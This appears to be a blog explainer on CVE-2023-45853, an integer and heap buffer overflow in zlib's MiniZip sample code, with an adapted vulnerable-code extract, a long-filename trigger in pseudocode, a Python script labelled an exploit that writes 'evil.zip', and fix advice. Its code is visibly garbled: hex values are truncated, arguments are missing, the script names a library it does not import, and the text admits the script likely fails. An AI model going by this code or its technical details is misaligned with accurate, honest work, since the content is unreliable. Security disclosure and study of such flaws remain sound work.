---

Introduction

If you deal with ZIP files, chances are you've used zlib or ran into “MiniZip”—a sample ZIP-handling tool that’s been bundled with zlib for years. But not all sample code is secure code! A bug (CVE-2023-45853) revealed that MiniZip, up to zlib 1.3, is vulnerable to an integer overflow and a scary heap-based buffer overflow. This is triggered just by crafting a ZIP archive with an extra long filename, comment, or extra data.

Importantly, MiniZip is not officially supported by zlib. It’s sample code. That means this CVE doesn’t affect the main zlib library—but if you reused MiniZip code (or left it in a product), *keep reading*.

Let’s break this down in simple terms, see the vulnerable code, and understand how it can be exploited.

TL;DR

- Vulnerability: Integer overflow (and then buffer overflow) in MiniZip when handling zip file names / comments / extra fields

Affected code: zipOpenNewFileInZip4_64

- Impact: Remote code execution is *possible* if the attacker can control ZIP file input to your app or service
- NOT affected: Standalone zlib compression/decompression

Original Disclosure & References

- NIST NVD Entry: CVE-2023-45853
- zlib GitHub Issue 779
- oss-security Mailing List (Oct 2023)

Where’s The Bug?

The core vulnerability lies inside the zipOpenNewFileInZip4_64 function. This function prepares headers for new files that are being added to a ZIP archive.

If a user provides very large lengths for the filename, comment, or "extra" data field, arithmetic that calculates the size of a buffer can overflow (wrap around to a small value). This eventually causes a call to malloc with a too-small size, followed by a memcpy that copies attacker-controlled data onto the heap. That’s classic heap buffer overflow territory.

Here’s a minimal code extract showing the vulnerable logic, adapted for clarity

int zipOpenNewFileInZip4_64(
    /*... stuff omitted ...*/,
    const void* extrafield_local, uInt size_extrafield_local,
    const void* extrafield_global, uInt size_extrafield_global,
    const char* comment, uInt size_comment,
    /*... stuff omitted ...*/)
{
    // ... other processing ...
    size_t header_size = sizeof(ZIP_LOCALHEADER)
        + filename_size
        + size_extrafield_local;
    char* header = (char*)malloc(header_size);
    if (header == NULL) { /* handle error */ }
    // memcpy the filename and extrafield data into header...
}

The issue is that filename_size and size_extrafield_local are both user-controllable via the "filename" and "extra" fields supplied to the ZIP creation function.

sizeof(ZIP_LOCALHEADER) is a small constant.

- If the sum of the user fields exceeds (2^32 - sizeof(ZIP_LOCALHEADER)), the addition wraps to a small positive integer.

PoC: Malicious Long Filename

Suppose an app uses MiniZip to write files, with filenames supplied by a user (maybe via upload or web interface). The attacker can upload or otherwise push through a filename like this (in pseudocode):

# Bad filename that triggers integer overflow
filename = "A" * xFFFFFFF  # 4GB minus a small offset

# Suppose app calls zipOpenNewFileInZip4_64 like:
zipOpenNewFileInZip4_64(
    zf, 
    filename, len(filename),
    NULL, ,  # no extra fields
    NULL, ,  # no comment
    ...
)
# Inside, header_size = 30 + xFFFFFFF
# On 32-bit system, this overflows to small size

# malloc allocates tiny buffer, memcpy copies 4GB!

Triggering Code Execution

Why does this matter? After the buffer overflow, an attacker can control memory contents, potentially leading to:

Arbitrary code execution (if heap corruption is exploitable)

In real life, exploitability depends on the app, mitigations (like ASLR), and how the system handles heap management.

Exploit Script Example

Below, you’ll find a Python script using pyzipper to create a ZIP file with an extremely long file name. If you feed this ZIP to a tool based on MiniZip, it will crash or worse:

import zipfile

class LongNameFile:
    # Fake file interface for zipfile
    def __init__(self, size):
        self._size = size
    def read(self, n=-1):
        return b"A" * (n if n != -1 else self._size)

filename = "A" * (2**32 - 32)  # Adjust as needed to match known overflow

with zipfile.ZipFile("evil.zip", "w") as zf:
    zf.writestr(filename, b"test")

Note: Python’s standard library will likely refuse this; but specialized tools (or patched ZIP libraries) could reproduce the overflow.

How To Fix

- Do not use MiniZip code in production! If you must use it, validate the inputs: always check that filename, comment, and extra field sizes are sane (<64KB, per ZIP spec).
- Use a maintained ZIP library. zlib, minizip-ng, or libzip are possible choices.

Conclusion

CVE-2023-45853 is a textbook example of how integer overflows can sneak into code that's intended as a mere code sample—and later make their way into real products. If your app or device touches ZIP files and borrows any MiniZip code, audit for this bug now.

- NVD Summary Page (CVE-2023-45853)
- Original MiniZip zlib GitHub Issue
- zlib Home Page

Timeline

Published on: 10/14/2023 02:15:09 UTC
Last modified on: 10/20/2023 21:15:09 UTC